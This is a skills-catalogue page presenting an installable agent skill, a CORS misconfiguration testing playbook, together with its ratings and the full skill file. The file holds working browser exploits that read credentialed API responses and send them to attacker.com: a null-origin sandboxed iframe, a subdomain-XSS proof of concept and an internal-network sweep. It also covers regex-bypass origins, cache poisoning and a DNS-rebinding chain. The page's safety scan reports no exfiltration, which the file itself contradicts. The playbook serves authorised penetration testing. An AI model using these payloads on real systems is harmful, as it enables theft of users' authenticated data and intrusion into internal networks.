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cors-cross-origin-misconfiguration

CORS misconfiguration testing playbook

Install / Use

npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

86/100

Category

Marketing

Supported Platforms

Universal

Our assessment of cors-cross-origin-misconfiguration

cors-cross-origin-misconfiguration scores 86/100 on our quality scale, 389th of 642 Marketing skills we index.

Its SKILL.md is 9.3 KB long, well organised into 31 sections with 15 code examples: a thorough specification that gives an agent plenty to work with.

With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
8/15
Adoption
14/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so cors-cross-origin-misconfiguration is actively maintained.
  • Our last check on 2026-11-03 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.

AI review by kimi-k2.7-code on 2026-10-01. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

cors-cross-origin-misconfiguration compared with similar skills

All 4 of these similar skills score higher than cors-cross-origin-misconfiguration; compare them before choosing.

SkillScoreStarsUpdatedFormat
cors-cross-origin-misconfiguration (this skill)by yaklang862.3k2mo agoSKILL.md
Agent-Reachby Panniantong100112.3k8d agoCLAUDE.md
headroomby headroomlabs-ai10079.8ktodayCLAUDE.md
Scraplingby D4Vinci100103.6k2d agoMCP Server
crawl4aiby unclecode10087.4k3d agoMCP Server

Frequently asked questions

How do I install cors-cross-origin-misconfiguration?
Run npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration. The install tabs above show the steps for each supported agent.
Which AI agents does cors-cross-origin-misconfiguration work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is cors-cross-origin-misconfiguration safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is cors-cross-origin-misconfiguration still maintained?
The repository was last updated about 2 months ago, so cors-cross-origin-misconfiguration is actively maintained.

name: cors-cross-origin-misconfiguration description: >- CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.

SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors

AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion SCENARIOS.md.

Extended Scenarios

Also load SCENARIOS.md when you need:

  • JSONP hijacking complete attack scenario — watering hole + <script> cross-origin data theft
  • Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
  • Same-origin policy deep dive — protocol/hostname/port definition, document.domain subdomain relaxation and its security risks
  • CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
  • CORS exploitation payloads — reflected origin with credentials: include, null origin via sandboxed iframe
  • Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup

1. WHEN TO LOAD THIS SKILL

Load when:

  • Responses contain Access-Control-Allow-Origin, Access-Control-Allow-Credentials, or preflight headers
  • A browser-based attack path might read authenticated API responses
  • JSON endpoints appear protected from CSRF but are readable cross-origin

2. HIGH-VALUE MISCONFIGURATION CHECKS

| Theme | What to Check | |---|---| | wildcard with credentials | Access-Control-Allow-Origin: * plus credential support or equivalent broken behavior | | reflected origin | server echoes arbitrary Origin | | weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors | | null origin | acceptance of sandboxed, file, or serialized origins | | preflight trust | overbroad methods and headers | | internal API exposure | admin or tenant data readable cross-origin |

3. QUICK TRIAGE

  1. Send crafted Origin headers and inspect reflection.
  2. Test with and without credentials.
  3. Probe allowlist bypasses using attacker subdomains and parser edge cases.
  4. If readable data is sensitive, chain to account or tenant impact.

4. RELATED ROUTES


5. NULL ORIGIN EXPLOITATION

How Origin: null is sent

| Context | Origin Header Value | |---------|-------------------| | Sandboxed iframe (<iframe sandbox>) | null | | data: URI scheme | null | | file: protocol (local HTML) | null | | Cross-origin redirect chain (some browsers) | null | | Serialized data in blob: URL from opaque origin | null |

Exploitation

If the server includes null in its origin allowlist or reflects it:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>

The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.


6. SUBDOMAIN XSS → CORS BYPASS CHAIN

Attack flow

1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responses

PoC (injected via XSS on blog.target.com)

fetch('https://api.target.com/v1/user/profile', {
    credentials: 'include'
})
.then(r => r.json())
.then(data => {
    navigator.sendBeacon('https://attacker.com/exfil',
        JSON.stringify(data));
});

Why this works

  • blog.target.com is same-site with api.target.com → SameSite cookies sent
  • CORS allowlist includes *.target.com → Access-Control-Allow-Origin: https://blog.target.com
  • Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain

Reconnaissance for this chain

□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify

7. VARY: ORIGIN CACHING ISSUE

Problem

When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:

1. Attacker requests: Origin: https://attacker.com
   Response cached with: Access-Control-Allow-Origin: https://attacker.com

2. Victim requests same URL (no Origin or different Origin)
   Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
   → Victim's browser allows attacker.com to read the response (CORS cache poisoning)

Detection

# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I

# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I

# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing

Exploitation

1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials

Fix verification

□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)

8. REGEX BYPASS PATTERNS

Common flawed regex patterns for origin validation:

| Intended Pattern | Flaw | Bypass Origin | |-----------------|------|---------------| | ^https?://.*\.target\.com$ | .* matches anything including - | https://attacker-target.com | | ^https?://.*target\.com$ | Missing anchor after subdomain | https://nottarget.com, https://attacker.com/.target.com | | target\.com (substring match) | No anchors | https://attacker.com?target.com | | ^https?://(.*\.)?target\.com$ | Missing port restriction | https://target.com.attacker.com:443 | | ^https://[a-z]+\.target\.com$ | Missing end anchor for path | N/A (but misses subdomains with - or digits) | | Backtracking-vulnerable regex | ReDoS | https://aaaa...aaa.target.com (CPU exhaustion) |

Test payloads for origin validation bypass

https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
null

Advanced: Unicode normalization bypass

https://target.com → https://ⓣarget.com (Unicode homoglyph)

Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.


9. INTERNAL NETWORK CORS EXPLOITATION

Scenario

An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:

Access-Control-Allow-Origin: *

Internal APIs often use wildcard CORS because "only internal users can reach it."

Attack chain

1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
   fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server
// On attacker.com — target internal API from victim's browser
const internalAPIs = [
    'http://192.168.1.1/admin/config',
    'http://10.0.0.1:8080/api/users',
    'http://172.16.0.1:9200/_cat/indices',  // Elasticsearch
    'http://localhost:8500/v1/agent/members', // Consul
];

internalAPIs.forEach(url => {
    fetch(url)
        .then(r => r.text())
        .then(data => {
            navigator.sendBeacon('https://attacker.com/exfil',
                JSON.stringify({url, data}));
        })
        .catch(() => {});
});

Port scanning via CORS timing

Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:

  • Port open: connection established → CORS error (different timing)
  • Port closed: connection refused → fast error
  • Host down: timeout → slow error

Combined with DNS rebinding

1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable

Related Skills

View on GitHub
GitHub Stars2.3k
CategoryMarketing
Updated2mo ago
Forks303

Languages

CSS

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions